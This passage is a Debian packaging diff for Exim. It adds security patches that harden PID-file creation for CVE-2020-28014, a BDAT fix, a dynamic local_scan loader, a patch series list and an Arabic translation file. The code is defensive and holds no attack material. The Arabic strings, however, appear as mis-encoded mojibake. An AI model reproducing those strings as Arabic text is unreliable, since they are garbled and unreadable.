open(dir, dir_flags); ++if (dir_fd < 0 || fstat(dir_fd, &sb) != 0 || !S_ISDIR(sb.st_mode)) goto cleanup; ++ ++/* emulate openat */ ++if (fchdir(dir_fd) != 0) goto cleanup; ++base_fd = open(base, O_RDONLY | base_flags); ++if (fchdir(cwd_fd) != 0) ++ log_write(0, LOG_MAIN|LOG_PANIC_DIE, "can't return to previous working dir: %s", strerror(errno)); ++ ++if (base_fd >= 0) ++ { ++ char line[sizeof(pid_line)]; ++ ssize_t len = -1; ++ ++ if (fstat(base_fd, &sb) != 0 || !S_ISREG(sb.st_mode)) goto cleanup; ++ if ((sb.st_mode & 07777) != base_mode || sb.st_nlink != 1) goto cleanup; ++ if (sb.st_size < 2 || sb.st_size >= (off_t)sizeof(line)) goto cleanup; ++ ++ len = read(base_fd, line, sizeof(line)); ++ if (len != (ssize_t)sb.st_size) goto cleanup; ++ line[len] = '\0'; ++ ++ if (strspn(line, "0123456789") != (size_t)len-1) goto cleanup; ++ if (line[len-1] != '\n') goto cleanup; ++ lines_match = (len == pid_len && strcmp(line, pid_line) == 0); ++ } ++ ++if (operation == PID_WRITE) ++ { ++ if (!lines_match) ++ { ++ if (base_fd >= 0) ++ { ++ int error = -1; ++ /* emulate unlinkat */ ++ if (fchdir(dir_fd) != 0) goto cleanup; ++ error = unlink(base); ++ if (fchdir(cwd_fd) != 0) ++ log_write(0, LOG_MAIN|LOG_PANIC_DIE, "can't return to previous working dir: %s", strerror(errno)); ++ if (error) goto cleanup; ++ (void)close(base_fd); ++ base_fd = -1; ++ } ++ /* emulate openat */ ++ if (fchdir(dir_fd) != 0) goto cleanup; ++ base_fd = open(base, O_WRONLY | O_CREAT | O_EXCL | base_flags, base_mode); ++ if (fchdir(cwd_fd) != 0) ++ log_write(0, LOG_MAIN|LOG_PANIC_DIE, "can't return to previous working dir: %s", strerror(errno)); ++ if (base_fd < 0) goto cleanup; ++ if (fchmod(base_fd, base_mode) != 0) goto cleanup; ++ if (write(base_fd, pid_line, pid_len) != pid_len) goto cleanup; ++ DEBUG(D_any) debug_printf("pid written to %s\n", pid_file_path); ++ } ++ } ++else ++ { ++ if (!lines_match) goto cleanup; ++ if (operation == PID_DELETE) ++ { ++ int error = -1; ++ /* emulate unlinkat */ ++ if (fchdir(dir_fd) != 0) goto cleanup; ++ error = unlink(base); ++ if (fchdir(cwd_fd) != 0) ++ log_write(0, LOG_MAIN|LOG_PANIC_DIE, "can't return to previous working dir: %s", strerror(errno)); ++ if (error) goto cleanup; ++ } ++ } ++ ++success = TRUE; ++errno = 0; ++ ++cleanup: ++if (cwd_fd >= 0) (void)close(cwd_fd); ++if (dir_fd >= 0) (void)close(dir_fd); ++if (base_fd >= 0) (void)close(base_fd); ++return success; ++} ++ ++ ++/* Remove the daemon's pidfile. Note: runs with root privilege, ++as a direct child of the daemon. Does not return. */ ++ ++void ++delete_pid_file(void) ++{ ++const BOOL success = operate_on_pid_file(PID_DELETE, getppid()); ++ ++DEBUG(D_any) ++ debug_printf("delete pid file %s %s: %s\n", pid_file_path, ++ success ? "success" : "failure", strerror(errno)); ++ ++exim_exit(EXIT_SUCCESS, US""); ++} ++ ++ ++/* Called by the daemon; exec a child to get the pid file deleted ++since we may require privs for the containing directory */ ++ ++static void ++daemon_die(void) ++{ ++int pid; ++ ++DEBUG(D_any) debug_printf("SIGTERM/SIGINT seen\n"); ++#if defined(SUPPORT_TLS) && (defined(EXIM_HAVE_INOTIFY) || defined(EXIM_HAVE_KEVENT)) ++tls_watch_invalidate(); ++#endif ++ ++if (f.running_in_test_harness || write_pid) ++ { ++ if ((pid = fork()) == 0) ++ { ++ if (override_pid_file_path) ++ (void)child_exec_exim(CEE_EXEC_PANIC, FALSE, NULL, FALSE, 3, ++ "-oP", override_pid_file_path, "-oPX"); ++ else ++ (void)child_exec_exim(CEE_EXEC_PANIC, FALSE, NULL, FALSE, 1, "-oPX"); ++ ++ /* Control never returns here. */ ++ } ++ if (pid > 0) ++ child_close(pid, 1); ++ } ++exim_exit(EXIT_SUCCESS, US""); ++} ++ ++ + + /************************************************* + * Exim Daemon Mainline * + *************************************************/ + +@@ -1538,32 +1726,18 @@ automatically. Consequently, Exim 4 writ + + The variable daemon_write_pid is used to control this. */ + + if (f.running_in_test_harness || write_pid) + { +- FILE *f; +- +- if (override_pid_file_path) +- pid_file_path = override_pid_file_path; +- +- if (pid_file_path[0] == 0) +- pid_file_path = string_sprintf("%s/exim-daemon.pid", spool_directory); +- +- if ((f = modefopen(pid_file_path, "wb", 0644))) +- { +- (void)fprintf(f, "%d\n", (int)getpid()); +- (void)fclose(f); +- DEBUG(D_any) debug_printf("pid written to %s\n", pid_file_path); +- } +- else +- DEBUG(D_any) +- debug_printf("%s\n", string_open_failed(errno, "pid file %s", +- pid_file_path)); ++ const enum pid_op operation = (f.running_in_test_harness ++ || real_uid == root_uid ++ || (real_uid == exim_uid && !override_pid_file_path)) ? PID_WRITE : PID_CHECK; ++ if (!operate_on_pid_file(operation, getpid())) ++ DEBUG(D_any) debug_printf("%s pid file %s: %s\n", (operation == PID_WRITE) ? "write" : "check", pid_file_path, strerror(errno)); + } + + /* Set up the handler for SIGHUP, which causes a restart of the daemon. */ +- + sighup_seen = FALSE; + signal(SIGHUP, sighup_handler); + + /* Give up root privilege at this point (assuming that exim_uid and exim_gid + are not root). The third argument controls the running of initgroups(). +--- a/src/exim.c ++++ b/src/exim.c +@@ -3042,12 +3042,20 @@ for (i = 1; i < argc; i++) + + else if (Ustrcmp(argrest, "o") == 0) {} + + /* -oP <name>: set pid file path for daemon */ + +- else if (Ustrcmp(argrest, "P") == 0) +- override_pid_file_path = argv[++i]; ++ else if (*argrest == 'P') ++ { ++ if (!f.running_in_test_harness && real_uid != root_uid && real_uid != exim_uid) ++ exim_fail("exim: only uid=%d or uid=%d can use -oP and -oPX " ++ "(uid=%d euid=%d | %d)\n", ++ root_uid, exim_uid, getuid(), geteuid(), real_uid); ++ if (Ustrcmp(argrest, "P") == 0) override_pid_file_path = argv[++i]; ++ else if (Ustrcmp(argrest, "PX") == 0) delete_pid_file(); ++ else badarg = TRUE; ++ } + + /* -or <n>: set timeout for non-SMTP acceptance + -os <n>: set timeout for SMTP acceptance */ + + else if (*argrest == 'r' || *argrest == 's') diff --git a/debian/patches/84_27-testsuite-adjustments-for-CVE-2020-28014-CVE-2021-27.patch b/debian/patches/84_27-testsuite-adjustments-for-CVE-2020-28014-CVE-2021-27.patch new file mode 100644 index 0000000..d0dc071 --- /dev/null +++ b/debian/patches/84_27-testsuite-adjustments-for-CVE-2020-28014-CVE-2021-27.patch @@ -0,0 +1,57 @@ +From 47a48ed569503d8730bafcfd0f96d27cb72c9454 Mon Sep 17 00:00:00 2001 +From: "Heiko Schlittermann (HS12-RIPE)" <hs@schlittermann.de> +Date: Sat, 1 May 2021 11:21:22 +0200 +Subject: [PATCH 27/29] testsuite: adjustments for CVE-2020-28014, + CVE-2021-27216 (Arbitrary PID file creation) + +--- + src/daemon.c | 32 -------------------------------- + test/stderr/0433 | 24 ------------------------ + 2 files changed, 56 deletions(-) + +diff --git a/src/daemon.c b/src/daemon.c +index 9403472f3..7c15d148c 100644 +--- a/src/daemon.c ++++ b/src/daemon.c +@@ -1044,38 +1044,6 @@ exim_exit(EXIT_SUCCESS, US""); + } + + +-/* Called by the daemon; exec a child to get the pid file deleted +-since we may require privs for the containing directory */ +- +-static void +-daemon_die(void) +-{ +-int pid; +- +-DEBUG(D_any) debug_printf("SIGTERM/SIGINT seen\n"); +-#if defined(SUPPORT_TLS) && (defined(EXIM_HAVE_INOTIFY) || defined(EXIM_HAVE_KEVENT)) +-tls_watch_invalidate(); +-#endif +- +-if (f.running_in_test_harness || write_pid) +- { +- if ((pid = fork()) == 0) +- { +- if (override_pid_file_path) +- (void)child_exec_exim(CEE_EXEC_PANIC, FALSE, NULL, FALSE, 3, +- "-oP", override_pid_file_path, "-oPX"); +- else +- (void)child_exec_exim(CEE_EXEC_PANIC, FALSE, NULL, FALSE, 1, "-oPX"); +- +- /* Control never returns here. */ +- } +- if (pid > 0) +- child_close(pid, 1); +- } +-exim_exit(EXIT_SUCCESS, US""); +-} +- +- + + /************************************************* + * Exim Daemon Mainline * +-- +2.30.2 + diff --git a/debian/patches/84_29-Fix-BDAT-issue-for-body-w-o-trailing-CRLF-again-Bug-.patch b/debian/patches/84_29-Fix-BDAT-issue-for-body-w-o-trailing-CRLF-again-Bug-.patch new file mode 100644 index 0000000..f5965ab --- /dev/null +++ b/debian/patches/84_29-Fix-BDAT-issue-for-body-w-o-trailing-CRLF-again-Bug-.patch @@ -0,0 +1,26 @@ +From 5220dc30120bd79319d465bd7a6e4b21a0881f9a Mon Sep 17 00:00:00 2001 +From: "Heiko Schlittermann (HS12-RIPE)" <hs@schlittermann.de> +Date: Fri, 30 Apr 2021 10:47:45 +0200 +Subject: [PATCH 29/29] Fix BDAT issue for body w/o trailing CRLF (again Bug + 1974) + +(cherry picked from commit 919111edac911ba9c15422eafd7c5bf14d416d26) +--- + src/smtp_in.c | 1 + + 1 file changed, 1 insertion(+) + +diff --git a/src/smtp_in.c b/src/smtp_in.c +index 016c44c0f..76784c15f 100644 +--- a/src/smtp_in.c ++++ b/src/smtp_in.c +@@ -854,6 +854,7 @@ int + bdat_ungetc(int ch) + { + chunking_data_left++; ++bdat_push_receive_functions(); /* we're not done yet, calling push is safe, because it checks the state before pushing anything */ + return lwr_receive_ungetc(ch); + } + +-- +2.30.2 + diff --git a/debian/patches/90_localscan_dlopen.dpatch b/debian/patches/90_localscan_dlopen.dpatch new file mode 100644 index 0000000..ce71bae --- /dev/null +++ b/debian/patches/90_localscan_dlopen.dpatch @@ -0,0 +1,281 @@ +Description: Allow one to use and switch between different local_scan functions + without recompiling exim. + http://marc.merlins.org/linux/exim/files/sa-exim-current/ Original patch from + David Woodhouse, modified first by Derrick 'dman' Hudson and then by Marc + MERLIN for SA-Exim and minor/major API version tracking +Author: David Woodhouse, Derrick 'dman' Hudson, Marc MERLIN +Origin: other, http://marc.merlins.org/linux/exim/files/sa-exim-current/ +Forwarded: no +Last-Update: 2018-12-12 + +--- a/src/EDITME ++++ b/src/EDITME +@@ -824,6 +824,21 @@ HEADERS_CHARSET="ISO-8859-1" + + + #------------------------------------------------------------------------------ ++# On systems which support dynamic loading of shared libraries, Exim can ++# load a local_scan function specified in its config file instead of having ++# to be recompiled with the desired local_scan function. For a full ++# description of the API to this function, see the Exim specification. ++ ++DLOPEN_LOCAL_SCAN=yes ++ ++# If you set DLOPEN_LOCAL_SCAN, then you need to include -rdynamic in the ++# linker flags. Without it, the loaded .so won't be able to access any ++# functions from exim. ++ ++LDFLAGS += -rdynamic ++CFLAGS += -fvisibility=hidden ++ ++#------------------------------------------------------------------------------ + # The default distribution of Exim contains only the plain text form of the + # documentation. Other forms are available separately. If you want to install + # the documentation in "info" format, first fetch the Texinfo documentation +--- a/src/config.h.defaults ++++ b/src/config.h.defaults +@@ -32,6 +32,8 @@ Do not put spaces between # and the 'def + + #define AUTH_VARS 3 + ++#define DLOPEN_LOCAL_SCAN ++ + #define BIN_DIRECTORY + + #define CONFIGURE_FILE +--- a/src/globals.c ++++ b/src/globals.c +@@ -141,6 +141,10 @@ int dsn_ret = 0; + const pcre *regex_DSN = NULL; + uschar *dsn_advertise_hosts = NULL; + ++#ifdef DLOPEN_LOCAL_SCAN ++uschar *local_scan_path = NULL; ++#endif ++ + #ifdef SUPPORT_TLS + BOOL gnutls_compat_mode = FALSE; + BOOL gnutls_allow_auto_pkcs11 = FALSE; +--- a/src/globals.h ++++ b/src/globals.h +@@ -138,6 +138,9 @@ extern int dsn_ret; / + extern const pcre *regex_DSN; /* For recognizing DSN settings */ + extern uschar *dsn_advertise_hosts; /* host for which TLS is advertised */ + ++#ifdef DLOPEN_LOCAL_SCAN ++extern uschar *local_scan_path; /* Path to local_scan() library */ ++#endif + /* Input-reading functions for messages, so we can use special ones for + incoming TCP/IP. */ + +--- a/src/local_scan.c ++++ b/src/local_scan.c +@@ -5,61 +5,131 @@ + /* Copyright (c) University of Cambridge 1995 - 2009 */ + /* See the file NOTICE for conditions of use and distribution. */ + ++#include "exim.h" + +-/****************************************************************************** +-This file contains a template local_scan() function that just returns ACCEPT. +-If you want to implement your own version, you should copy this file to, say +-Local/local_scan.c, and edit the copy. To use your version instead of the +-default, you must set +- +-HAVE_LOCAL_SCAN=yes +-LOCAL_SCAN_SOURCE=Local/local_scan.c +- +-in your Local/Makefile. This makes it easy to copy your version for use with +-subsequent Exim releases. +- +-For a full description of the API to this function, see the Exim specification. +-******************************************************************************/ +- +- +-/* This is the only Exim header that you should include. The effect of +-including any other Exim header is not defined, and may change from release to +-release. Use only the documented interface! */ +- +-#include "local_scan.h" +- +- +-/* This is a "do-nothing" version of a local_scan() function. The arguments +-are: +- +- fd The file descriptor of the open -D file, which contains the +- body of the message. The file is open for reading and +- writing, but modifying it is dangerous and not recommended. +- +- return_text A pointer to an unsigned char* variable which you can set in +- order to return a text string. It is initialized to NULL. +- +-The return values of this function are: +- +- LOCAL_SCAN_ACCEPT +- The message is to be accepted. The return_text argument is +- saved in $local_scan_data. +- +- LOCAL_SCAN_REJECT +- The message is to be rejected. The returned text is used +- in the rejection message. +- +- LOCAL_SCAN_TEMPREJECT +- This specifies a temporary rejection. The returned text +- is used in the rejection message. +-*/ ++#ifdef DLOPEN_LOCAL_SCAN ++#include <dlfcn.h> ++static int (*local_scan_fn)(int fd, uschar **return_text) = NULL; ++static int load_local_scan_library(void); ++#endif + + int + local_scan(int fd, uschar **return_text) + { + fd = fd; /* Keep picky compilers happy */ + return_text = return_text; +-return LOCAL_SCAN_ACCEPT; ++#ifdef DLOPEN_LOCAL_SCAN ++/* local_scan_path is defined AND not the empty string */ ++if (local_scan_path && *local_scan_path) ++ { ++ if (!local_scan_fn) ++ { ++ if (!load_local_scan_library()) ++ { ++ char *base_msg , *error_msg , *final_msg ; ++ int final_length = -1 ; ++ ++ base_msg=US"Local configuration error - local_scan() library failure\n"; ++ error_msg = dlerror() ; ++ ++ final_length = strlen(base_msg) + strlen(error_msg) + 1 ; ++ final_msg = (char*)malloc( final_length*sizeof(char) ) ; ++ *final_msg = '\0' ; ++ ++ strcat( final_msg , base_msg ) ; ++ strcat( final_msg , error_msg ) ; ++ ++ *return_text = final_msg ; ++ return LOCAL_SCAN_TEMPREJECT; ++ } ++ } ++ return local_scan_fn(fd, return_text); ++ } ++else ++#endif ++ return LOCAL_SCAN_ACCEPT; ++} ++ ++#ifdef DLOPEN_LOCAL_SCAN ++ ++static int load_local_scan_library(void) ++{ ++/* No point in keeping local_scan_lib since we'll never dlclose() anyway */ ++void *local_scan_lib = NULL; ++int (*local_scan_version_fn)(void); ++int vers_maj; ++int vers_min; ++ ++local_scan_lib = dlopen(local_scan_path, RTLD_NOW); ++if (!local_scan_lib) ++ { ++ log_write(0, LOG_MAIN|LOG_REJECT, "local_scan() library open failed - " ++ "message temporarily rejected"); ++ return FALSE; ++ } ++ ++local_scan_version_fn = dlsym(local_scan_lib, "local_scan_version_major"); ++if (!local_scan_version_fn) ++ { ++ dlclose(local_scan_lib); ++ log_write(0, LOG_MAIN|LOG_REJECT, "local_scan() library doesn't contain " ++ "local_scan_version_major() function - message temporarily rejected"); ++ return FALSE; ++ } ++ ++/* The major number is increased when the ABI is changed in a non ++ backward compatible way. */ ++vers_maj = local_scan_version_fn(); ++ ++local_scan_version_fn = dlsym(local_scan_lib, "local_scan_version_minor"); ++if (!local_scan_version_fn) ++ { ++ dlclose(local_scan_lib); ++ log_write(0, LOG_MAIN|LOG_REJECT, "local_scan() library doesn't contain " ++ "local_scan_version_minor() function - message temporarily rejected"); ++ return FALSE; ++ } ++ ++/* The minor number is increased each time a new feature is added (in a ++ way that doesn't break backward compatibility) -- Marc */ ++vers_min = local_scan_version_fn(); ++ ++ ++if (vers_maj != LOCAL_SCAN_ABI_VERSION_MAJOR) ++ { ++ dlclose(local_scan_lib); ++ local_scan_lib = NULL; ++ log_write(0, LOG_MAIN|LOG_REJECT, "local_scan() has an incompatible major" ++ "version number, you need to recompile your module for this version" ++ "of exim (The module was compiled for version %d.%d and this exim provides" ++ "ABI version %d.%d)", vers_maj, vers_min, LOCAL_SCAN_ABI_VERSION_MAJOR, ++ LOCAL_SCAN_ABI_VERSION_MINOR); ++ return FALSE; ++ } ++else if (vers_min > LOCAL_SCAN_ABI_VERSION_MINOR) ++ { ++ dlclose(local_scan_lib); ++ local_scan_lib = NULL; ++ log_write(0, LOG_MAIN|LOG_REJECT, "local_scan() has an incompatible minor" ++ "version number, you need to recompile your module for this version" ++ "of exim (The module was compiled for version %d.%d and this exim provides" ++ "ABI version %d.%d)", vers_maj, vers_min, LOCAL_SCAN_ABI_VERSION_MAJOR, ++ LOCAL_SCAN_ABI_VERSION_MINOR); ++ return FALSE; ++ } ++ ++local_scan_fn = dlsym(local_scan_lib, "local_scan"); ++if (!local_scan_fn) ++ { ++ dlclose(local_scan_lib); ++ log_write(0, LOG_MAIN|LOG_REJECT, "local_scan() library doesn't contain " ++ "local_scan() function - message temporarily rejected"); ++ return FALSE; ++ } ++ ++return TRUE; + } + ++#endif /* DLOPEN_LOCAL_SCAN */ ++ + /* End of local_scan.c */ +--- a/src/local_scan.h ++++ b/src/local_scan.h +@@ -17,6 +17,7 @@ settings, and the store functions. */ + + #include <stdarg.h> + #include <sys/types.h> ++#pragma GCC visibility push(default) + #include "config.h" + #include "mytypes.h" + #include "store.h" +@@ -192,4 +193,6 @@ extern uschar *string_copy(const uschar + extern uschar *string_copyn(const uschar *, int); + extern uschar *string_sprintf(const char *, ...) ALMOST_PRINTF(1,2); + ++#pragma GCC visibility pop ++ + /* End of local_scan.h */ +--- a/src/readconf.c ++++ b/src/readconf.c +@@ -199,6 +199,9 @@ static optionlist optionlist_config[] = + { "local_from_prefix", opt_stringptr, &local_from_prefix }, + { "local_from_suffix", opt_stringptr, &local_from_suffix }, + { "local_interfaces", opt_stringptr, &local_interfaces }, ++#ifdef DLOPEN_LOCAL_SCAN ++ { "local_scan_path", opt_stringptr, &local_scan_path }, ++#endif + #ifdef HAVE_LOCAL_SCAN + { "local_scan_timeout", opt_time, &local_scan_timeout }, + #endif diff --git a/debian/patches/series b/debian/patches/series new file mode 100644 index 0000000..e448ccf --- /dev/null +++ b/debian/patches/series @@ -0,0 +1,60 @@ +31_eximmanpage.dpatch +32_exim4.dpatch +33_eximon.binary.dpatch +34_eximstatsmanpage.dpatch +35_install.dpatch +60_convert4r4.dpatch +67_unnecessaryCopt.diff +70_remove_exim-users_references.dpatch +75_01-Fix-json-extract-operator-for-unfound-case.patch +75_02-Fix-transport-buffer-size-handling.patch +75_03-Fix-info-on-using-local_scan-in-the-default-Makefile.patch +75_04-GnuTLS-Fix-client-detection-of-server-reject-of-clie.patch +75_05-Fix-expansions-for-RFC-822-addresses-having-comments.patch +75_06-Docs-Add-note-on-lsearch-for-IPv4-mapped-IPv6-addres.patch +75_07-Fix-crash-from-SRV-lookup-hitting-a-CNAME.patch +75_08-Logging-fix-initial-listening-on-log-line.patch +75_09-OpenSSL-Fix-aggregation-of-messages.patch +75_10-Harden-plaintext-authenticator.patch +75_11-GnuTLS-fix-tls_out_ocsp-under-hosts_request_ocsp.patch +75_12-GnuTLS-fix-the-advertising-of-acceptable-certs-by-th.patch +75_13-Use-dsn_from-for-success-DSN-messages.-Bug-2404.patch +75_14-Fix-smtp-response-timeout.patch +75_15-Fix-detection-of-32b-platform-at-build-time.-Bug-240.patch +77_Avoid-re-expansion-in-sort-CVE-2019-13917-OVE-201907.patch +78_01-string.c-do-not-interpret-before-0-CVE-2019-15846.patch +78_02-Fix-buffer-overflow-in-string_vformat.-Bug-2449.patch +79_01-Fix-SPA-authenticator-checking-client-supplied-data-.patch +79_02-Rework-SPA-fix-to-avoid-overflows.-Bug-2571.patch +80_01-GnuTLS-fix-hanging-callout-connections.patch +80_02-GnuTLS-tls_write-wait-after-uncorking-the-session.patch +80_03-GnuTLS-Do-not-care-about-corked-data-when-uncorking.patch +82_TLS-use-RFC-6125-rules-for-certifucate-name-checks-w.patch +84_01-CVE-2020-28025-Heap-out-of-bounds-read-in-pdkim_fini.patch +84_02-CVE-2020-28018-Use-after-free-in-tls-openssl.c.patch +84_03-CVE-2020-28023-Out-of-bounds-read-in-smtp_setup_msg.patch +84_04-CVE-2020-28010-Heap-out-of-bounds-write-in-main.patch +84_05-CVE-2020-28011-Heap-buffer-overflow-in-queue_run.patch +84_06-CVE-2020-28013-Heap-buffer-overflow-in-parse_fix_phr.patch +84_07-Security-Refuse-negative-and-large-store-allocations.patch +84_08-CVE-2020-28017-Integer-overflow-in-receive_add_recip.patch +84_09-CVE-2020-28022-Heap-out-of-bounds-read-and-write-in-.patch +84_10-CVE-2020-28026-Line-truncation-and-injection-in-spoo.patch +84_11-CVE-2020-28015-28021-New-line-injection-into-spool-h.patch +84_12-CVE-2020-28009-Integer-overflow-in-get_stdinput.patch +84_13-CVE-2020-28024-Heap-buffer-underflow-in-smtp_ungetc.patch +84_14-CVE-2020-28012-Missing-close-on-exec-flag-for-privil.patch +84_15-Security-Safeguard-against-relative-names-for-msglog.patch +84_16-Security-Check-overrun-rcpt_count-integer.patch +84_17-Security-Always-exit-when-LOG_PANIC_DIE-is-set.patch +84_18-Security-Fix-off-by-one-in-smtp-transport-read-respo.patch +84_19-Security-Avoid-decrement-of-dkim_collect_input-if-al.patch +84_20-Security-Leave-a-clean-smtp_out-input-buffer-even-in.patch +84_21-Security-Avoid-modification-of-constant-data-in-dkim.patch +84_22-CVE-2020-28019-Failure-to-reset-function-pointer-aft.patch +84_23-CVE-2020-28007-Link-attack-in-Exim-s-log-directory.patch +84_24-CVE-2020-28008-Assorted-attacks-in-Exim-s-spool-dire.patch +84_26-CVE-2020-28014-CVE-2021-27216-Arbitrary-PID-file-cre.patch +84_27-testsuite-adjustments-for-CVE-2020-28014-CVE-2021-27.patch +84_29-Fix-BDAT-issue-for-body-w-o-trailing-CRLF-again-Bug-.patch +90_localscan_dlopen.dpatch diff --git a/debian/po/POTFILES.in b/debian/po/POTFILES.in new file mode 100644 index 0000000..06d5872 --- /dev/null +++ b/debian/po/POTFILES.in @@ -0,0 +1,5 @@ +[type: gettext/rfc822deb] exim4-base.templates +[type: gettext/rfc822deb] exim4-config.templates +[type: gettext/rfc822deb] exim4-daemon-heavy.templates +[type: gettext/rfc822deb] exim4-daemon-light.templates +[type: gettext/rfc822deb] exim4.templates diff --git a/debian/po/ar.po b/debian/po/ar.po new file mode 100644 index 0000000..5fb0c23 --- /dev/null +++ b/debian/po/ar.po @@ -0,0 +1,627 @@ +# translation of exim-ar.po to Arabic +# +# Translators, if you are not familiar with the PO format, gettext +# documentation is worth reading, especially sections dedicated to +# this format, e.g. by running: +# info -n '(gettext)PO Files' +# info -n '(gettext)Header Entry' +# Some information specific to po-debconf are available at +# /usr/share/doc/po-debconf/README-trans +# or http://www.debian.org/intl/l10n/po-debconf/README-trans# +# Developers do not need to manually edit POT or PO files. +# +# Abdulaziz Al-Arfaj <alarfaj0@yahoo.com>, 2004, 2005. +# Ossama M. Khayat <okhayat@yahoo.com>, 2006, 2007. +msgid "" +msgstr "" +"Project-Id-Version: exim-ar\n" +"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" +"POT-Creation-Date: 2007-07-18 08:29+0200\n" +"PO-Revision-Date: 2007-07-15 19:45+0300\n" +"Last-Translator: Ossama M. Khayat <okhayat@yahoo.com>\n" +"Language-Team: Arabic <support@arabeyes.org>\n" +"Language: ar\n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Generator: KBabel 1.11.4\n" +"Plural-Forms: nplurals=4; plural=n==1 ? 0 : n==2 ? 1 : n>=3 && n<=10 ? 2 : " +"3\n" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "Remove undelivered messages in spool directory?" +msgstr "هل تريد إزالة البريد الغير موصل ÙÙŠ مجلّد الصّÙØŸ" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"There are e-mail messages in the Exim spool directory /var/spool/exim4/" +"input/ which have not yet been delivered. Removing Exim will cause them to " +"remain undelivered until Exim is re-installed." +msgstr "" +"هناك بريدٌ ÙÙŠ مجلّد صÙÙ‘ Exim /var/spool/exim4/input لم يوصل بعد. ستتسبب إزالة " +"Exim ببقاء هذه الرسائل دون ايصال Øتى تتم إعادة تثبيت Exim." + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"If this option is not chosen, the spool directory is kept, allowing the " +"messages in the queue to be delivered at a later date after Exim is re-" +"installed." +msgstr "" +"إن لم يتم اختيار هذا الخيار، Ùسيتم الإبقاء على دليل الصÙÙ‘ØŒ مما ÙŠØ³Ù…Ø Ù„Ù„Ø±Ø³Ø§Ø¦Ù„ " +"بالوصول ÙÙŠ وقت لاØÙ‚ بعد إعادة تثبيت Exim." + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "Reconfigure exim4-config instead of this package" +msgstr "الرجاء إعادة تهيئة exim4-config بدلاً من هذه الØزمة." + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "" +"Exim4 has its configuration factored out into a dedicated package, exim4-" +"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." +msgstr "" +"هناك Øزمة مخصصة لتهيئة Exim4ØŒ والمسماة exim4-config. إن كنت تريد إعادة تهيئة " +"Exim4ØŒ استخدم الأمر 'dpkg-reconfigure exim4-config'." + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "internet site; mail is sent and received directly using SMTP" +msgstr "موقع إنترنت؛ البريد ÙŠÙرسل Ùˆ ÙŠÙستلم مباشرةً باستخدام SMTP" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; received via SMTP or fetchmail" +msgstr "البريد ÙŠÙرسل عبر المضي٠الذّكي (smarthost)Ø› ÙŠÙستلم عبر SMTP أو fetchmail" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; no local mail" +msgstr "البريد ÙŠÙرسل من smarthostØ› لا بريد Ù…Øلّي" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "local delivery only; not on a network" +msgstr "توصيل Ù…Øلّي Ùقط؛ ليس على شبكة" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "no configuration at this time" +msgstr "لا إعداد Øاليّاً" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "General type of mail configuration:" +msgstr "الÙئة العامّة لإعداد البريد:" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Please select the mail server configuration type that best meets your needs." +msgstr "الرجاء اختيار نوع تهيئة خادم البريد التي تناسب Øاجتك." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Systems with dynamic IP addresses, including dialup systems, should " +"generally be configured to send outgoing mail to another machine, called a " +"'smarthost' for delivery because many receiving systems on the Internet " +"block incoming mail from dynamic IP addresses as spam protection." +msgstr "" +"الأنظمة ذات عناوين IP الديناميكيّة بما Ùيها أنظمة الطّلب الهاتÙÙŠØŒ ÙŠÙترض عموماً " +"أن تعدّ لإرسال البريد الصادر لجهاز٠آخر يدعى \"المضي٠الذّكي\" 'smart " +"host'للتوصيل لأن كثيراً من الأنظمة المستقبلة على الإنترنت ترÙض البريد الوارد " +"من عناوين IP الديناميكيّة كطريقة للØماية من البريد الغير مرغوب." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"A system with a dynamic IP address can receive its own mail, or local " +"delivery can be disabled entirely (except mail for root and postmaster)." +msgstr "" +"يستطيع النظام الذي له عنوان IP ديناميكي استقبال بريده الخاص، أو يمكن تعطيل " +"التوصيل المØلي بالكامل (عدا البريد الخاص بالمستخدم root Ùˆpostmaster)." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "Really leave the mail system unconfigured?" +msgstr "هل تريد Ùعلاً ترك نظام البريد دون إعداد؟" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "" +"Until the mail system is configured, it will be broken and cannot be used. " 